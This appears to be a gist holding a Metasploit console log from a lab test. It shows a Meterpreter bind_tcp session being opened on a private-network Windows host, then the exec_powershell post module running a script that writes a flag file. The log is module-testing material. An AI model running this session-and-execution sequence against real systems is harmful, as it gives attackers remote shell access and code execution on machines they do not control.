powershell usage

gistfile1.txt

msf  post(exec_powershell) > use exploit/multi/handler 
msf  exploit(handler) > set payload windows/meterpreter/bind_shell
[-] The value specified for payload is not valid.
msf  exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf  exploit(handler) > set rhost 192.168.222.225
rhost => 192.168.222.225
msf  exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (752128 bytes) to 192.168.222.225
[*] Meterpreter session 1 opened (192.168.222.50:36638 -> 192.168.222.225:4444) at 2012-05-21 14:12:11 -0500
b
meterpreter > background
[*] Backgrounding session 1...
msf  exploit(handler) > use post/windows/manage/powershell/exec_powershell
msf  post(exec_powershell) > set session 1
session => 1
msf  post(exec_powershell) > show options

Module options (post/windows/manage/powershell/exec_powershell):

   Name     Current Setting                                                 Required  Description
   ----     ---------------                                                 --------  -----------
   SCRIPT   /home/todb/git/todb/metasploit-framework/scripts/ps/msflag.ps1  yes       Path to the PS script
   SESSION  1                                                               yes       The session to run this module on.

msf  post(exec_powershell) > exploit

[*] $someText = "Hello from Metasploit!" ; $someText > "C:\flag.txt"


[*] Compressing script contents:
[+]  - Compressed size: 1112
[*] Executing the script.
[*] Logging output to /home/todb/.msf4/logs/scripts/TODB-795E3F7FFB/msflag-20120521:141241.txt.
[*] Cleaning up residual objects and processes.
[+] Finished!
[*] Post module execution completed
msf  post(exec_powershell) >